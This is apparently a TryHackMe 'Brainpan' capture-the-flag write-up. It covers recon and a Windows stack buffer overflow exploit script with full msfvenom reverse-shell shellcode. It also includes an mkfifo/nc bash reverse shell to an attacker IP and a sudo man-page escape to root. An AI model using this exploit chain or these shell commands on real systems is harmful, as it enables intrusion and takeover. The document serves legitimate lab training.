A medium Windows and Linux box from TryHackMe, use a remote Windows buffer overflow for initial access, then leverage sudo priveleges for the man command to get root.

Recon

Running the default nmap

sudo nmap -sC -sV -Pn 10.10.63.155
PORT      STATE SERVICE VERSION  
9999/tcp  open  abyss?  
| fingerprint-strings:    
|   NULL:    
|     _| _|    
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|    
|     _|_| _| _| _| _| _| _| _| _| _| _| _|  
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|  
|     [________________________ WELCOME TO BRAINPAN _________________________]  
|_    ENTER THE PASSWORD  
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)  
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3

See an unrecognized program runnning on 9999 - connecting to it with netcat

nc 10.10.63.155 9999                                                                                                                                       
_|                            _|                                           
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|     
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|  
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|  
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|  
                                           _|                             
                                           _|  
  
[________________________ WELCOME TO BRAINPAN _________________________]  
                         ENTER THE PASSWORD                                 
  
                         >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

It crashes after inputting 1000 A’s - maybe a buffer overflow?

Connecting to the http server - its just a static page

Running gobuster to see if there is anything hidden on the webserver

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --url http://10.10.63.155:10000

Find a /bin/ directory

/bin                  (Status: 301) [Size: 0] [--> /bin/]

Navigating to it, see theres a brainpan.exe file, downloading it can move towards exploiting the assumed buffer overflow

Exploitation

Now moving the exe over to a windows VM, using immunity debugger, and the Mona script to try and exploit the exe

First writing a simple fuzzer to see generally where the overflow occurs

#!/usr/bin/env python3  
  
import socket, time, sys  
  
ip = "LOCAL_IP"  
  
port = 9999    
timeout = 5  
  
string =  "A" * 100    
  
  
while True:  
   with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:  
       s.connect((ip,port))  
       s.settimeout(5)  
       s.recv(1024)  
       try:  
           print(f"Fuzzing with {len(string)} bytes")  
           s.send(bytes(string + "\r\n", "latin-1"))  
           s.recv(1024)  
       except:  
           print(f"Fuzzing crashed at {len(string)} bytes")  
           sys.exit(0)  
       string += 100 * 'A'  
       time.sleep(1)
python3 fuzzer.py 

Fuzzing with 100 bytes  
Fuzzing with 200 bytes  
Fuzzing with 300 bytes  
Fuzzing with 400 bytes  
Fuzzing with 500 bytes  
Fuzzing with 600 bytes  
Fuzzing crashed at 600 bytes

Now can make a pattern to see where the EIP offset is

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

And then use that as the payload within a simple exploit script

import socket

ip = "LOCAL_IP"
port = 9999

offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" 
postfix = ""

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	s.connect((ip, port))
    s.recv(1024)
	print("Sending evil buffer...")
	s.send(bytes(buffer + "\r\n", "latin-1"))
	print("Done!")
except:
	print("Could not connect.")

Running the script

python3 exploit.py

See the value in the EIP register

Then find the offset with

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134                     
[*] Exact match at offset 524

Now we can control the EIP register

Next is finding bad characters that break the program, first need to generate a list from 0x01 to 0xff, then send it as a payload, then check if the characters came through exactly as they were sent - removing those that weren’t

Setting the found offset and the new char map payload in the exploit file

offset = 524
overflow = "A" * offset
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")****

Rerun brainpan.exe in the debugger, and run the script again

Right click on the ESP buffer and click “Follow in Dump”

Then in the bottom left pane, should see the payload, counting from 0x01 to 0xff - if any of the characters aren’t counting in order, they are bad characters and need to be removed, rerunning the process removing bad characters untill the entire remaining payload is bad-character-free

Here, the payload doesn’t have any bad character, all the chars from 0x01 to 0xff came through properly - only bad character is the null byte 0x00

Now can move on to finding a JMP ESP point to launch the exploit

Searching for instances of the JMP ESP instruction with mona, using the command line at the bottom of Immunity Debugger

!mona jmp -r esp -b "\x00"

Found one!

At address 0x311712f3 - will need to input this backwards in the exploit because windows 7 is little endien

Also adding a 32 byte NOP sled

retn = "\xf3\x12\x17\x31"
padding = "\x90" * 32

And then generating the reverse shell payload

msfvenom -p windows/shell_reverse_tcp LHOST=LOCAL_IP LPORT=4444 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00"

Making the final script

import socket

ip = "LOCAL_IP"
port = 9999

offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 32
payload = ("\xbd\xa8\x41\x6b\x87\xda\xcd\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x6f\x12\x03\x6f\x12\x83\x47\xbd\x89\x72\x6b\xd6\xcc"
"\x7d\x93\x27\xb1\xf4\x76\x16\xf1\x63\xf3\x09\xc1\xe0\x51\xa6"
"\xaa\xa5\x41\x3d\xde\x61\x66\xf6\x55\x54\x49\x07\xc5\xa4\xc8"
"\x8b\x14\xf9\x2a\xb5\xd6\x0c\x2b\xf2\x0b\xfc\x79\xab\x40\x53"
"\x6d\xd8\x1d\x68\x06\x92\xb0\xe8\xfb\x63\xb2\xd9\xaa\xf8\xed"
"\xf9\x4d\x2c\x86\xb3\x55\x31\xa3\x0a\xee\x81\x5f\x8d\x26\xd8"
"\xa0\x22\x07\xd4\x52\x3a\x40\xd3\x8c\x49\xb8\x27\x30\x4a\x7f"
"\x55\xee\xdf\x9b\xfd\x65\x47\x47\xff\xaa\x1e\x0c\xf3\x07\x54"
"\x4a\x10\x99\xb9\xe1\x2c\x12\x3c\x25\xa5\x60\x1b\xe1\xed\x33"
"\x02\xb0\x4b\x95\x3b\xa2\x33\x4a\x9e\xa9\xde\x9f\x93\xf0\xb6"
"\x6c\x9e\x0a\x47\xfb\xa9\x79\x75\xa4\x01\x15\x35\x2d\x8c\xe2"
"\x3a\x04\x68\x7c\xc5\xa7\x89\x55\x02\xf3\xd9\xcd\xa3\x7c\xb2"
"\x0d\x4b\xa9\x15\x5d\xe3\x02\xd6\x0d\x43\xf3\xbe\x47\x4c\x2c"
"\xde\x68\x86\x45\x75\x93\x41\xaa\x22\x99\xc2\x42\x31\x9d\xf5"
"\xce\xbc\x7b\x9f\xfe\xe8\xd4\x08\x66\xb1\xae\xa9\x67\x6f\xcb"
"\xea\xec\x9c\x2c\xa4\x04\xe8\x3e\x51\xe5\xa7\x1c\xf4\xfa\x1d"
"\x08\x9a\x69\xfa\xc8\xd5\x91\x55\x9f\xb2\x64\xac\x75\x2f\xde"
"\x06\x6b\xb2\x86\x61\x2f\x69\x7b\x6f\xae\xfc\xc7\x4b\xa0\x38"
"\xc7\xd7\x94\x94\x9e\x81\x42\x53\x49\x60\x3c\x0d\x26\x2a\xa8"
"\xc8\x04\xed\xae\xd4\x40\x9b\x4e\x64\x3d\xda\x71\x49\xa9\xea"
"\x0a\xb7\x49\x14\xc1\x73\x69\xf7\xc3\x89\x02\xae\x86\x33\x4f"
"\x51\x7d\x77\x76\xd2\x77\x08\x8d\xca\xf2\x0d\xc9\x4c\xef\x7f"
"\x42\x39\x0f\xd3\x63\x68")
postfix = ""

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    s.recv(1024)
    print("Sending evil buffer...")
    s.send(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")

And then run brainpan.exe outside the debugger, run the script with a nc listener, and get a reverse shell to the local VM windows box

Now changing the LHOST to the TryHackMe VPN IP - get reverse shell to the lab target

Get a really weird cmd shell - when the file system is clearly linux, get a second reverse shell by using bash to get a proper linux reverse shell

cd ../../bin

bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.107.137 8888 >/tmp/f"

And catch the reverse shell on a listerner - now have a proper linux reverse shell

Upgrading the shell with python, get a fully interactive shell

python -c "import pty;pty.spawn('/bin/bash')"

export TERM=xterm

# on attacker press CTRL+Z then type

stty raw -echo; fg

# terminal might be a lil messed up when you get back to the revshell - use reset to clean it up

reset

Within this shell run sudo -l, and see that we can run /home/anansi/bin/anansi_util

User puck may run the following commands on this host:  
   (root) NOPASSWD: /home/anansi/bin/anansi_util

Running it, see that it executes the man command when you look something up with the “manual” option

puck@brainpan:/usr/local/bin$ sudo /home/anansi/bin/anansi_util  
Usage: /home/anansi/bin/anansi_util [action]  
Where [action] is one of:  
 - network  
 - proclist  
 - manual [command]

Trying to run

sudo /home/anansi/bin/anansi_util manual grep

See that it is just the man pages

Can use GTFOBins and see there is an escape, a way to run /bin/sh by entering into the man page for some executable, then typing

!/bin/sh
puck@brainpan:/usr/local/bin$ sudo /home/anansi/bin/anansi_util manual man  
No manual entry for manual  
# whoami  
root